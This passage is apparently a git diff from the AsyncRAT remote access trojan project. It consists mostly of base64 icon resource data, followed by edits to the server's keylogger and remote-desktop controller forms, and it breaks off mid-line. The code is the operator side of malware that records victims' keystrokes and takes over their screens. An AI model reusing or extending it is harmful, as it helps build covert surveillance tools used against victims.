AYUBzgHuAf8DXQHKAx8BLDsAAQEDBwEJA0ABbgPRAf8D3QH/A90B/wPcAf8DwgH/A8MB/wPbAf8D2gH/ + A9oB/wPaAf8D2QH/A9kB/wPZAf8D2QH/A9gB/wPYAf8D2AH/A9gB/wPYAf8D2AH/A9gB/wPYAf8D2AH/ + A9gB/wPZAf8D2QH/A9kB/wPZAf8D2gH/A9oB/wPaAf8D2wH/A9sB/wPBAf8DygH/A9wB/wPdAf8D3AH/ + A2wB6QMzAVIDBAEFGAADPAFmA6wB/gPOAf8DzQH/A8sB/wPKAf8DyQH/A8gB/wPGAf8DxQH/A8QB/wPC + Af8DwQH/A7MB/wOmAf8DsgH/A7wB/wO7Af8DugH/A6YB/wOeAf8DmgH/A58B/wOsAf8DtAH/A7EB/wOw + Af8DrgH/A60B/wOsAf8DqwH/A6kB/wOoAf8DpwH/A6YB/wOlAf8DpAH/A6IB/wOhAf8DUwGlAwMBBOgA + A1EBoAFnAXsBgAHyAY8B1wH3Af8BjwHXAfcB/wGPAdcB9wH/AY8B1wH3Af8BjQHWAfcB/wGHAdQB9gH/ + AYUB0wH2Af8BhQHSAfQB/wFnAcUB5AH/AUYBoAG6Af8BSAGiAb0B/wFIAaQBvwH/AUkBpQHAAf8BUgGz + AdAB/wFcAcMB4wH/AWEBzAHuAf8BgQHNAe4B/wGFAc8B7wH/AYYBzwHvAf8BgwHOAe4B/wFoAcwB7gH/ + AWEBzAHuAf8BgQHOAe4B/wGFAc8B7wH/AYYBzwHvAf8DXQHKAx8BLDwAAwUBBwM+AWoD0AH/A9wB/wPd + Af8D3QH/A9wB/wO6Af8D2QH/A9sB/wPbAf8D2gH/A9oB/wPaAf8D2QH/A9kB/wPZAf8D2QH/A9kB/wPZ + Af8D2QH/A9kB/wPZAf8D2QH/A9kB/wPZAf8D2QH/A9oB/wPaAf8D2gH/A9oB/wPaAf8D2wH/A9sB/wPM + Af8DxAH/A90B/wPdAf8D3AH/A9wB/wNdAcoDIQEwAwMBBBgAAywBQwNyAe4D0AH/A9AB/wPOAf8DzQH/ + A8wB/wPKAf8DygH/A8kB/wPHAf8DxgH/A8MB/wOxAf8DpwH/A8AB/wO/Af8DvgH/A70B/wOpAf8DoQH/ + A7EB/wOeAf8DnAH/A6gB/wO0Af8DswH/A7IB/wOwAf8DrwH/A64B/wOsAf8DqwH/A6sB/wOpAf8DqAH/ + A6YB/wOlAf8DpAH/A0IBduwAA1EBnwFnAXsBgAHyAZAB2AH4Af8BkAHYAfgB/wGQAdgB+AH/AZAB2AH4 + Af8BkAHYAfgB/wGOAdgB+AH/AYsB1gH3Af8BhwHUAfUB/wFoAcYB5AH/AUcBoQG7Af8BSQGjAb4B/wFJ + AaUBwAH/AUoBpgHBAf8BUwGzAdEB/wFdAcQB5AH/AWgBzQHvAf8BhQHPAfAB/wGIAdAB8AH/AYgB0AHw + Af8BggHPAe8B/wFsAc0B7wH/AWgBzQHvAf8BhQHPAfAB/wGIAdAB8AH/AYgB0AHwAf8DXQHKAx8BLDwA + AwQBBgMzAVMDbAHqA9gB/wNhAf8DuwH/A90B/wPSAf8DyQH/A9wB/wPbAf8D2wH/A9sB/wPaAf8D2gH/ + A9oB/wPaAf8D2gH/A9oB/wPaAf8D2gH/A9oB/wPaAf8D2gH/A9oB/wPaAf8D2gH/A9oB/wPaAf8D2wH/ + A9sB/wPbAf8D3AH/A9oB/wPHAf8D1QH/A90B/wOzAf8DawH/A9gB/wNZAb8DGAEiAwIBAxgAAx0BKgNg + AdQD0wH/A9IB/wPRAf8DzwH/A88B/wPNAf8DzQH/A8wB/wPKAf8DyQH/A8IB/wOyAf8DsgH/A8QB/wPC + Af8DwQH/A8AB/wOsAf8DpAH/A7gB/wO6Af8DqAH/A54B/wOpAf8DtgH/A7UB/wOzAf8DsgH/A7EB/wOv + Af8DrgH/A60B/wOsAf8DqwH/A6kB/wOoAf8DpwH/AysBQuwAA1EBnwFoAXsBgQHyAZEB2QH5Af8BkQHZ + AfkB/wGRAdkB+QH/AZEB2QH5Af8BkQHZAfkB/wGRAdkB+QH/AZAB2QH5Af8BjQHWAfcB/wF0AcgB5gH/ + AUcBogG8Af8BSQGkAb8B/wFJAaYBwQH/AUoBpwHCAf8BUwG0AdIB/wFdAcUB5gH/AYEBzwHwAf8BiAHR + AfEB/wGJAdEB8QH/AYcB0QHxAf8BgQHPAfAB/wGBAc8B8AH/AYEBzwHxAf8BiAHRAfEB/wGJAdEB8QH/ + AYkB0QHxAf8DXQHKAx8BLDwAAwMBBAMiATEDXQHKA9UB/wOpAf8DxgH/A9wB/wPcAf8D0wH/A8MB/wPc + Af8D3AH/A9wB/wPcAf8D3AH/A9sB/wPbAf8D2wH/A9sB/wPbAf8D2wH/A9sB/wPbAf8D2wH/A9sB/wPb + Af8D2wH/A9wB/wPcAf8D3AH/A9wB/wPdAf8D3QH/A8AB/wPVAf8D3AH/A9wB/wO9Af8DpAH/A9cB/wNa + Ab0DFQEdAwEBAhgAAwwBEANXAboD1QH/A9QB/wPSAf8D0QH/A9EB/wPPAf8DzwH/A84B/wPNAf8DzAH/ + A8UB/wO1Af8DuAH/A8cB/wPFAf8DxAH/A8MB/wOvAf8DqAH/A7oB/wO9Af8DvAH/A64B/wOhAf8DrwH/ + A7gB/wO2Af8DtAH/A7MB/wOyAf8DsQH/A68B/wOuAf8DrQH/A6wB/wOqAf8DhQH7Aw0BEuwAA1EBnwFo + AXsBgwHyAZEB2gH6Af8BkQHaAfoB/wGRAdoB+gH/AZEB2gH6Af8BkQHaAfoB/wGRAdoB+gH/AZEB2gH6 + Af8BkAHYAfgB/wGHAcoB5wH/AUcBowG9Af8BSQGlAcAB/wFJAaYBwgH/AUoBpwHDAf8BUwG1AdMB/wFe + AcYB5wH/AYMB0AHxAf8BiAHSAfIB/wGIAdIB8gH/AYUB0QHyAf8BgQHQAfEB/wGBAdAB8QH/AYYB0QHy + Af8BiAHSAfIB/wGJAdIB8gH/AYkB0gHyAf8DXQHKAx8BLDwAAwIBAwMYASIDWQG+A9oB/wPaAf8D2wH/ + A9sB/wPcAf8D3AH/A9wB/wPPAf8DzwH/A90B/wPdAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPcAf8D3AH/ + A9wB/wPcAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPdAf8D3QH/A90B/wPdAf8D2wH/A7UB/wPcAf8D2wH/ + A9sB/wPbAf8D2gH/A9oB/wNYAbsDEwEaAwEBAhwAA08BlwPWAf8D1gH/A9UB/wPUAf8D1AH/A9IB/wPR + Af8D0QH/A88B/wPGAf8DuAH/A7YB/wO1Af8DuQH/A8cB/wPGAf8DxgH/A7MB/wOqAf8DvgH/A8AB/wO/ + Af8DuwH/A6gB/wOjAf8DuAH/A7gB/wO4Af8DtwH/A7UB/wO0Af8DswH/A7EB/wOwAf8DrwH/A60B/wNd + AcrwAANQAZ4BawF7AYAB8QGTAdsB+wH/AZMB2wH7Af8BkwHbAfsB/wGTAdsB+wH/AZMB2wH7Af8BkwHb + AfsB/wGTAdsB+wH/AZIB2QH5Af8BiQHLAegB/wFIAaMBvgH/AUoBpgHCAf8BTAGoAcQB/wFNAaoBxwH/ + AVYBuQHXAf8BbQHJAeoB/wGIAdMB8wH/AYoB1AHzAf8BiQHTAfMB/wGEAdEB8gH/AYIB0AHyAf8BhAHR + AfIB/wGKAdQB8wH/AYoB1AHzAf8BigHUAfMB/wGKAdQB8wH/A10BygMfASw8AAMBAQIDFgEeA1gBvAPZ + Af8D2gH/A9oB/wPQAf8D7gH/A/YB/wPoAf8D6AH/A98B/wPCAf8D2QH/A9gB/wPdAf8D3QH/A90B/wPd + Af8D3AH/A9wB/wPcAf8D3AH/A90B/wPdAf8D3QH/A90B/wPdAf8D3QH/A9wB/wPcAf8D3AH/A88B/wOn + Af8D2wH/A9sB/wPaAf8D2gH/A9kB/wPYAf8DWAG5AxABFgMAAQEcAAM7AWQD2AH/A9kB/wPXAf8D1wH/ + A9YB/wPUAf8D0wH/A9MB/wPRAf8DvAH/A7oB/wO5Af8DuAH/A7YB/wPEAf8DygH/A8kB/wO3Af8DrwH/ + A8EB/wPDAf8DwgH/A74B/wOwAf8DpgH/A7QB/wO5Af8DuwH/A7kB/wO4Af8DtwH/A7UB/wO0Af8DswH/ + A7IB/wOwAf8DRQF98AADUAGdAWsBewGAAfEBkwHbAfsB/wGTAdsB+wH/AZMB2wH7Af8BkwHbAfsB/wGT + AdsB+wH/AZMB2wH7Af8BkwHbAfsB/wGSAdkB+QH/AYkBywHpAf8BSgGlAb8B/wFMAakBxAH/AU8BrQHJ + Af8BUgGzAdAB/wFbAcEB4AH/AXABzQHuAf8BiwHVAfQB/wGMAdUB9AH/AYoB1AH0Af8BggHRAfMB/wGD + AdIB8wH/AYcB0wH0Af8BjAHVAfQB/wGMAdUB9AH/AYwB1QH0Af8BjAHVAfQB/wNdAcoDHwEsPwABAQMT + ARoDVwG6A9cB/wPYAf8DyQH/A7IB/wPfAf8D5gH/A+YB/wP+Af8D+AH/A/MB/wPoAf8D1wH/A9UB/wPM + Af8D3AH/A9wB/wPcAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPcAf8D3AH/A9wB/wPbAf8D2wH/A9sB/wPb + Af8DvgH/A5wB/wPaAf8D2QH/A9kB/wPYAf8D1wH/A9YB/wNXAbcDDgETAwABARwAAyIBMQPFAf4D2wH/ + A9kB/wPZAf8D2AH/A9cB/wPVAf8D1QH/A9MB/wPMAf8DuwH/A7UB/wO0Af8DvAH/A8sB/wPNAf8DywH/ + A7oB/wOxAf8DxAH/A8YB/wPFAf8DtAH/A64B/wOpAf8DrAH/A64B/wO9Af8DvAH/A7oB/wO5Af8DuAH/ + A7cB/wO2Af8DtAH/A7IB/wMiATHwAANRAZwBawF7AYAB8QGUAdwB+wH/AZQB3AH7Af8BlAHcAfsB/wGU + AdwB+wH/AZQB3AH7Af8BlAHcAfsB/wGUAdwB+wH/AZMB2gH5Af8BigHMAeoB/wFLAacBwwH/AVABsAHN + Af8BVgG6AdcB/wFcAcMB4wH/AWgBzQHtAf8BhQHTAfMB/wGMAdYB9QH/AYsB1gH1Af8BiAHUAfUB/wGC + AdIB9AH/AYMB0wH0Af8BiQHVAfUB/wGMAdYB9QH/AYwB1gH1Af8BjAHWAfUB/wGMAdYB9QH/A1wByQMd + ASo/AAEBAxABFgNXAbgD1QH/A9UB/wO5Af8DsgH/A9kB/wPZAf8D2gH/A9oB/wPaAf8D7wn/A/sB/wPb + Af8DzgH/A7MB/wPbAf8D2wH/A9sB/wPbAf8D2wH/A9sB/wPbAf8D2wH/A9sB/wPbAf8D2gH/A9oB/wPa + Af8DrQH/A5QB/wPZAf8D2AH/A9cB/wPWAf8D1AH/A9MB/wNVAbUDDAEQIAADAwEEA2gB9QPcAf8D2wH/ + A9sB/wPaAf8D2AH/A9gB/wPYAf8D1gH/A9UB/wPUAf8D0wH/A9IB/wPRAf8D0AH/A84B/wPOAf8DvQH/ + A7MB/wPHAf8DyQH/A8gB/wOxAf8DrgH/A60B/wOrAf8DrgH/A8AB/wO/Af8DvQH/A70B/wO8Af8DugH/ + A7kB/wO4Af8DZAHsAwABAfAAA1EBnAFrAXsBgAHxAZQB3gH9Af8BlAHeAf0B/wGUAd4B/QH/AZQB3gH9 + Af8BlAHeAf0B/wGUAd4B/QH/AZQB3gH9Af8BkwHcAfsB/wGMAdEB7QH/AVMBtQHSAf8BXQHCAeAB/wFn + AckB6gH/AWkBzwHwAf8BhAHSAfQB/wGKAdYB9gH/AY0B1wH2Af8BjAHXAfYB/wGHAdUB9QH/AYMB0wH1 + Af8BhgHUAfUB/wGMAdYB9gH/AY0B1wH2Af8BjQHXAfYB/wGNAdcB9gH/AY0B1wH2Af8DXAHJAx0BKj8A + AQEDDgETA1YBtgPSAf8D0wH/A8wB/wOdAf8D1gH/A9cB/wPYAf8D2QH/A9oB/wPaAf8D2gH/A+kB/wPz + Af8D+gH/A+8B/wPnAf8DzwH/A88B/wPHAf8D2wH/A9sB/wPbAf8D2wH/A9oB/wPaAf8D2gH/A9oB/wPa + Af8D2QH/A6gB/wOVAf8D1wH/A9UB/wPUAf8D0wH/A9IB/wPRAf8DTAGPAwoBDSQAA1QBrgPeAf8D3QH/ + A9wB/wPcAf8D2wH/A9oB/wPZAf8D2AH/A9cB/wPXAf8D1QH/A9QB/wPUAf8D0gH/A9EB/wPQAf8DwAH/ + A7cB/wPLAf8DzAH/A8sB/wOyAf8DsAH/A64B/wOuAf8DswH/A8MB/wPCAf8DwAH/A78B/wO+Af8DvAH/ + A7wB/wO6Af8DVwG6AwABAfAAA1EBnAFrAX4BgAHxAZMB4AH9Af8BkwHgAf0B/wGTAeAB/QH/AZMB4AH9 + Af8BkwHgAf0B/wGTAeAB/QH/AZMB4AH9Af8BlAHeAfoB/wGMAdIB7gH/AV0BxAHkAf8BcQHOAfAB/wGC + AdIB9AH/AYQB0wH1Af8BhgHVAfYB/wGMAdcB9wH/AY4B2AH3Af8BjAHXAfcB/wGGAdUB9gH/AYQB1AH2 + Af8BigHWAfcB/wGOAdgB9wH/AY4B2AH3Af8BjgHYAfcB/wGOAdgB9wH/AY4B2AH3Af8DXAHJAx0BKkAA + AwwBEANWAbQD0AH/A9EB/wPSAf8DbAH/A9QB/wPVAf8D1gH/A9cB/wPYAf8D2AH/A9gB/wPZAf8D2QH/ + A+EB/wPtBf8D7wH/A90B/wPGAf8DvQH/A9kB/wPZAf8D2QH/A9kB/wPZAf8D2AH/A9gB/wPYAf8D1wH/ + A6UB/wOpAf8D1QH/A9MB/wPSAf8D0QH/A9AB/wPPAf8DMQFPAwgBCyQAAzoBYgPfAf8D3wH/A94B/wPd + Af8D3QH/A9wB/wPbAf8D2QH/A9kB/wPZAf8D1wH/A9YB/wPWAf8D1AH/A9MB/wPSAf8DwgH/A7oB/wPN + Af8DzgH/A80B/wPEAf8DwgH/A8AB/wO/Af8DwgH/A8YB/wPFAf8DwwH/A8IB/wPAAf8DvwH/A74B/wO9 + Af8DSQGH9AADUAGbAWsBfgGAAfEBkQHhAf0B/wGRAeEB/QH/AZEB4QH9Af8BkQHhAf0B/wGRAeEB/QH/ + AZEB4QH9Af8BkQHhAf0B/wGZAd0B9gH/AYkByQHiAf8BggHSAfQB/wGEAdQB9gH/AYQB1AH3Af8BhAHU + AfcB/wGIAdYB9wH/AY0B2AH4Af8BjgHYAfgB/wGKAdcB+AH/AYUB1QH3Af8BhQHUAfcB/wGMAdcB+AH/ + AY4B2AH4Af8BjgHYAfgB/wGOAdgB+AH/AY4B2AH4Af8BjgHYAfgB/wNcAckDHQEqQAADCgEOA0wBkAPM + Af8DzgH/A9AB/wNWAf8D0QH/A9IB/wPTAf8D1AH/A9UB/wPVAf8D1gH/A9YB/wPXAf8D1wH/A9gB/wPY + Af8D/AX/A9gB/wPFAf8DvwH/A9cB/wPXAf8D1wH/A9YB/wPWAf8D1QH/A9UB/wPUAf8DogH/A78B/wPS + Af8D0AH/A88B/wPOAf8DzQH/A8sB/wMhATADBwEJJAADEAEVA7MB/gPgAf8D3wH/A98B/wPeAf8D3gH/ + A90B/wPcAf8D2wH/A9sB/wPZAf8D2AH/A9gB/wPXAf8D2AH/A9gB/wPIAf8DvgH/A9MB/wPUAf8D0QH/ + A88B/wPNAf8DzQH/A8sB/wPJAf8DyQH/A8cB/wPGAf8DxQH/A8QB/wPCAf8DwQH/A4YB/AM1AVf0AANQ + AZsBawF+AYIB8QGPAeEB/QH/AY8B4QH9Af8BkAHhAf0B/wGRAeIB/QH/AZIB3wH6Af8BlAHcAfYB/wGT + AdQB7AH/AYYBzAHnAf8BgwHPAe8B/wGEAdUB+AH/AYUB1QH4Af8BhQHVAfgB/wGFAdUB+AH/AYwB2AH5 + Af8BjwHZAfkB/wGQAdkB+QH/AYkB1wH4Af8BhgHVAfgB/wGIAdcB+AH/AY8B2AH5Af8BkQHZAfkB/wGR + AdkB+QH/AZEB2gH5Af8BkgHZAfkB/wGKAcwB6wH/AVgCWgHAAxwBJ0AAAwgBCwMyAVEDyAH/A8sB/wPN + Af8DSAH/A84B/wPPAf8D0AH/A9EB/wPSAf8D0gH/A9MB/wPTAf8D1AH/A9QB/wPUAf8D1QH/A9UB/wPn + Bf8D3wH/A7UB/wO8Af8D1AH/A9QB/wPTAf8D0wH/A9IB/wPSAf8D0QH/A6EB/wPPAf8DzwH/A80B/wPN + Af8DywH/A8kB/wPIAf8DHwEsAwYBCCgAA14B2QPiAf8D4QH/A+EB/wPgAf8D4AH/A98B/wPeAf8D3QH/ + A9wB/wPbAf8D2wH/A9oB/wPYAf8DxAH/A8IB/wPDAf8DwwH/A8EB/wO8Af8DygH/A9EB/wPQAf8DzwH/ + A84B/wPMAf8DzAH/A8sB/wPJAf8DyAH/A8cB/wPFAf8DxAH/A2cB5QMnATv0AANQAZsBaQF+AYIB8QGN + AeIB/QH/AY8B4gH8Af8BkAHhAfoB/wGRAd4B9gH/AZIB1gHvAf8BdAHNAegB/wGGAdIB8QH/AYQB0wH0 + Af8BhAHVAfgB/wGFAdYB+QH/AYUB1gH5Af8BhgHWAfkB/wGHAdcB+QH/AY8B2gH6Af8BkQHbAfoB/wGR + AdsB+gH/AYkB1gH4Af8BfwGxAckB/gF0AY8BqwH8AWoBiQGOAfkBZQFzAXcB9AFiAWYBawHvAWABZQFn + AegDYQHhA2EB2gNJAYgDEwEaQAADBwEJAyIBMQOuAf4DxgH/A8kB/wM+Af8DywH/A80B/wPOAf8DzwH/ + A9AB/wPQAf8D0AH/A9EB/wPSAf8D0gH/A9IB/wPSAf8D0wH/A9MB/wPhAf8D5AH/A9IB/wOJAf8D0gH/ + A9EB/wPRAf8D0QH/A9AB/wPPAf8DzwH/A6AB/wPNAf8DzAH/A8oB/wPIAf8DxgH/A8QB/wO+Af8DGwEm + AwQBBigAA1QBpgPjAf8D4wH/A+MB/wPhAf8D4AH/A+AB/wPfAf8D3wH/A94B/wPdAf8D3QH/A9wB/wPb + Af8D2AH/A8gB/wPEAf8DxgH/A8EB/wPMAf8D1AH/A9MB/wPSAf8D0QH/A9AB/wPOAf8DzgH/A80B/wPL + Af8DywH/A8kB/wPIAf8DxwH/A1sBywMYASH0AANQAZoBZQF2AXoB8AGKAeIB/QH/AZIB4gH7Af8BlgHZ + Ae0B/wFgAb8B1wH/AWkBzQHtAf8BhQHWAfcB/wGGAdcB+QH/AYYB1wH5Af8BhgHXAfkB/wGGAdcB+QH/ + AYYB1wH5Af8BhwHXAfgB/wGKAdcB+AH/AZQB2wH5Af8BmAHcAfkB/wGEAcYB4gH+AZYBuAHCAf0BagGH + AYkB+QFgAmIB7wNhAdoDWQG+A1ABnQNBAXIDMAFLAxwBJwMHAQkDAAEBQAADBQEHAx4BKwOqAf4DwQH/ + A8MB/wPEAf8DrAH/A8kB/wPKAf8DywH/A8wB/wPNAf8DzgH/A84B/wPOAf8DzwH/A88B/wPPAf8DzwH/ + A9AB/wPQAf8DxQH/A88B/wOIAf8DpAH/A84B/wPOAf8DzgH/A80B/wPMAf8DywH/A54B/wPJAf8DyAH/ + A8UB/wPDAf8DwgH/A8AB/wOpAf8DGAEhAwQBBSgAA0IBcwPjAf8D5AH/A+MB/wPjAf8D4gH/A+IB/wPh + Af8D4AH/A+AB/wPfAf8D3wH/A94B/wPdAf8D3AH/A9kB/wPFAf8DwQH/A80B/wPYAf8D1wH/A9YB/wPU + Af8D0wH/A9IB/wPRAf8D0QH/A9AB/wPOAf8DzQH/A8wB/wPKAf8DygH/A1YBsQMFAQf0AANQAZoBZgF0 + AXkB8AGWAdsB8wH/AX8BrAG/Af4BcAGaAbEB/AFuAZUBoAH6AWgBggGJAfUBYgFyAXoB7wFjAWoBbgHo + AWEBZAFlAeICXwFhAdsDYAHWA1wBzAFZAloBvQNUAasDTAGTA0QBeQM4AV4DMAFLAycBOgMfAS0DHAEn + AxcBIAMTARoDDgETAwoBDQMFAQcDAAEBRAADBAEGAxoBJQOkAf4DvQH/A78B/wPAAf8DtwH/A54B/wOf + Af8DogH/A6YB/wOqAf8DrgH/A7EB/wO1Af8DtwH/A7kB/wO7Af8DuwH/A7oB/wO5Af8DxwH/A8oB/wO4 + Af8DmwH/A8EB/wPAAf8DwAH/A78B/wO/Af8DugH/A6EB/wPDAf8DwgH/A8AB/wO/Af8DvQH/A7sB/wOL + Af8DFAEcAwMBBCgAAy4BSAOAAfED4wH/A+MB/wPjAf8D4wH/A+MB/wPiAf8D4gH/A+EB/wPhAf8D4AH/ + A98B/wPeAf8D3gH/A90B/wPZAf8D0AH/A9sB/wPZAf8D2AH/A9cB/wPXAf8D1gH/A9UB/wPUAf8D0wH/ + A9IB/wPQAf8D0AH/A84B/wPNAf8DzQH/A0cBgPgAA0kBhwNdAdMDYQHcA14B1QNcAcwDWQG/A1YBqwNO + AZQDRAF5AzoBYAMvAUoDJgE5AyABLgMbASYDFwEgAxMBGgMPARQDCgENAwYBCAMDAQQDAAEBAwABAVwA + AwMBBAMTARoDhwH+A8IB/wPOAf8DzQH/A70B/wPMAf8D5wH/AeUC5gH/AckCygH/A98B/wPRAf8BvwLA + Af8B0wLUAf8BxgLHAf8B2wLdAf8B0QLSAf8DtwH/AcMCxAH/AdwC3QH/AdwC3QH/Ac0CzgH/A8cB/wO0 + Af8DuwH/A7wB/wO7Af8DugH/A7kB/wO1Af8DuAH/A78B/wO+Af8DvAH/A9AB/wPFAf8DwgH/A2kB/wMP + ARQDAQECKAADEAEVA1ABmwPiAf8D4wH/A+MB/wPkAf8D4wH/A+MB/wPjAf8D4wH/A+IB/wPiAf8D4QH/ + A+AB/wPfAf8D3wH/A90B/wPdAf8D3QH/A9sB/wPaAf8D2QH/A9kB/wPYAf8D1wH/A9YB/wPVAf8D1AH/ + A9IB/wPSAf8D0QH/A6oB/gNaAcADGAEi+AADHAEoAywBQwMhATADEwEaAwcBCgMAAQGfAAEBAwgBCwNo + Af4DlgH/A2wB/wOBAf8DugH/A8cB/wP9Af8B+wL8Af8B+QL6Af8D+AH/AfYC9wH/AfQC9QH/AfIC9AH/ + AfEC8wH/Ae8C8QH/Ae8C8QH/Ae4C8AH/Ae4C8AH/Ae0C7wH/Ae0C7wH/Ac8C0AH/A8IB/wPCAf8DwQH/ + A8AB/wPAAf8DvwH/A74B/wO9Af8DvAH/A7sB/wO6Af8DuwH/AyAB/wOTAf8DswH/A1sBxAMGAQgDAAEB + MAADGwEmAzgBXAM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5 + AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzgBXQMj + ATP/AAEAAwUBBwMIAQsDBgEIAwQBBQMBAQKkAAMBAQIDTAGTA1MBqgNWAasDVgGrA1YBqwNWAasDVgGr + A1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGr + A1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNTAaoDDAEQ + AwABAf8A/wBtAAEBAwAEAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMB + AQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMB + AQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAAEB/wD/AP8A/wCcAAFCAU0BPgcAAT4DAAEoAwABwAMA + ATADAAEBAQABAQUAAYABBBYAA/8BAAH/AfgBPwH/Ad8B/wHgBAABAwb/BgAB/wH4AQ8B/AEBAf8BwAQA + AQEG/wYAAf8B+AEPAfgBAQH/AYAFAAb/BgAB/wHAAwABPwGABQAG/wYAAf8EAAE/AYAFAAHABAABAwYA + Af8EAAE/AYAFAAGABAABAQYAAf4EAAEPAYARAAH+BAABDwGAEQAB/gQAAQ8BgBEAAf4EAAEHAYARAAH+ + BAABAwGAEQAB/gQAAQEBgBEAAf4EAAEBAYARAAH+BAABAQGABQABgAsAAf4EAAEHAYAFAAGACwAB/gQA + AQ8BgAUAAYALAAH+AwABAQH/AYAEAAEBAYAEAAEBBgAB/gMAAQEB/wGABAABAQGABAABAQYAAf4DAAEB + Af8BgAQAAQEBgAQAAQEGAAH+AwABBwH/AcAEAAEBAcAEAAEDBgAB/gMAAQ8B/wHABAABAQHABAABAwYA + Af4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEBAcAEAAEDBgAB/gMAAQ8B/wHABAABAQHg + BAABBwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/AcAEAAEBAeAEAAEHBgAB/gMAAQ8B/wHA + BAABAQHwBAABBwYAAf4DAAEPAf8BwAQAAQMB8AQAAQcGAAH+AwABDwH/AcAEAAEDAfAEAAEHBgAB/gMA + AQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQAAQMB8AQAAQ8GAAH+AwABDwH/AeAEAAEDAfAEAAEP + BgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEPAf8B4AQAAQMB+AQAAR8GAAH+AwABDwH/AeAEAAED + AfgEAAEfBgAB/gMAAQ8B/wHgBAABBwH4BAABHwYAAf4DAAEPAf8B4AQAAQcB/AQAAR8GAAH+AwABDwH/ + AfAEAAEHAfwEAAE/BgAB/gMAAQ8B/wHwBAABBwH8BAABPwYAAf4DAAEPAf8B8AQAAQcB/gQAAT8GAAH+ + AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYAAf4DAAEfAf8B8AQAAQcB/gQA + AX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGAAgABAQH/BgAB/gEPBP8B+AQA + AQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs= diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs index 1765746..9926860 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs @@ -42,7 +42,6 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // @@ -119,12 +118,12 @@ } #endregion - private System.Windows.Forms.Timer timer1; private System.Windows.Forms.ToolStrip toolStrip1; private System.Windows.Forms.ToolStripLabel toolStripLabel1; private System.Windows.Forms.ToolStripTextBox toolStripTextBox1; private System.Windows.Forms.ToolStripSeparator toolStripSeparator1; private System.Windows.Forms.ToolStripButton toolStripButton1; public System.Windows.Forms.RichTextBox richTextBox1; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs index 1cb791e..e5eba56 100644 --- a/AsyncRAT-C#/Server/Forms/FormKeylogger.cs +++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs @@ -36,11 +36,12 @@ namespace Server.Forms private void Keylogger_FormClosed(object sender, FormClosedEventArgs e) { + try + { + Client.Disconnected(); + } + catch { } Sb?.Clear(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "false"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e) diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs index ebe0a62..38b72f5 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs @@ -87,6 +87,7 @@ // this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse; this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnMouse.Enabled = false; this.btnMouse.Location = new System.Drawing.Point(550, 3); this.btnMouse.Name = "btnMouse"; this.btnMouse.Size = new System.Drawing.Size(32, 32); @@ -98,6 +99,7 @@ // this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image; this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnSave.Enabled = false; this.btnSave.Location = new System.Drawing.Point(455, 3); this.btnSave.Name = "btnSave"; this.btnSave.Size = new System.Drawing.Size(32, 32); @@ -172,8 +174,9 @@ // // button1 // - this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_; + this.button1.BackgroundImage = global::Server.Properties.Resources.play_button; this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.button1.Enabled = false; this.button1.Location = new System.Drawing.Point(12, 3); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(32, 32); @@ -241,14 +244,14 @@ public System.Windows.Forms.Timer timer1; private System.Windows.Forms.Panel panel1; private System.Windows.Forms.Label label1; - private System.Windows.Forms.Button button1; private System.Windows.Forms.Button button2; public System.Windows.Forms.NumericUpDown numericUpDown1; private System.Windows.Forms.Label label2; public System.Windows.Forms.NumericUpDown numericUpDown2; - private System.Windows.Forms.Button btnSave; private System.Windows.Forms.Timer timerSave; - private System.Windows.Forms.Button btnMouse; public System.Windows.Forms.Label labelWait; + public System.Windows.Forms.Button btnSave; + public 